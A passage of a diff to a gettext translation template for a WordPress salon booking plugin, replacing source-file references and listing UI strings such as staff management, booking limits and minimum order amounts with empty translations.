build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:273\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:273\n+msgid \"Manage staff\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:102\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:102\n+msgid \"Manage staff members and their availability.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:87\n+msgid \"Manual Control\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:493\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:493\n+msgid \"Manual trigger\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:364\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:364\n+msgid \"Marked on:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:74\n+msgid \"Max duration multiplier per customer\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:59\n+msgid \"Max duration units\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:43\n msgid \"Maximum\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_timing.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:47\n-msgid \"If you want for example that your customer can make a reservation up to two days before the appointment date and from a maximum of one month before the appointment date use this range options to set your desired rule.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:26\n+msgid \"\"\n+\"Maximum number of concurrent bookings allowed at the same time for this \"\n+\"service\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_onesignal.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:11\n-msgid \"Onesignal Notifications service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:60\n+msgid \"Maximum number of units a single customer can select\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_onesignal.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:18\n-msgid \"App ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:37\n+msgid \"Maximum uses limit\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_onesignal.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:21\n-msgid \"Generate\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:71\n+msgid \"Medium\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_onesignal.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:26\n-msgid \"Send Onesignal notification on new bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:86\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:86\n+msgid \"Message\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_onesignal.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:28\n-msgid \"Onesignal notification will be sent to a staff member\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:26\n+msgid \"Message on disabled booking\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_onesignal.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:37\n-msgid \"Customize the Onesignal notification message\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:37\n+msgid \"Method not found\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_onesignal.php:45, views\u002Fsettings\u002F_tab_general_sms.php:220, views\u002Fsettings\u002F_tab_general_sms.php:244, views\u002Fsettings\u002F_tab_general_sms.php:260, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:220, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:244, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:260, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:220, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:244, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:244, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:244, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:244, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:260\n-msgid \"You can use [NAME], [SALON NAME], [DATE], [TIME], [PRICE], [BOOKING ID]\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:27\n+msgid \"Minimum\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_pages.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:12\n-msgid \"Booking page\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:181\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:181\n+msgid \"Minimum amount\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_pages.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:13\n-msgid \"Select a page with the booking form.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:272\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:272\n+msgid \"Minimum order amount\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_pages.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:17\n-msgid \"Thank you page\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:79\n+msgid \"\"\n+\"Minimum score required to accept a booking (0.0 = bot, 1.0 = human). Default:\"\n+\" 0.5\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_pages.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:18\n-msgid \"Select a page where to redirect your users after booking completition.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_preview.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:218\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:219\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:220\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:218\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:219\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:220\n+msgid \"minutes\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_pages.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:24\n-msgid \"Booking My Account\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:79\n+msgid \"Minutes per session\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_pages.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:25\n-msgid \"Select a page where your users view their bookings.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:111\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:111\n+msgid \"Minutes per session - affects the time picker step.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_reset.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:8\n-msgid \"Reset all settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFormatter.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFormatter.php:108\n+msgid \"mn\"\n+msgid_plural \"mns\"\n+msgstr[0] \"\"\n+msgstr[1] \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:202\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:202\n+msgid \"mns\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_general_reset.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:13, 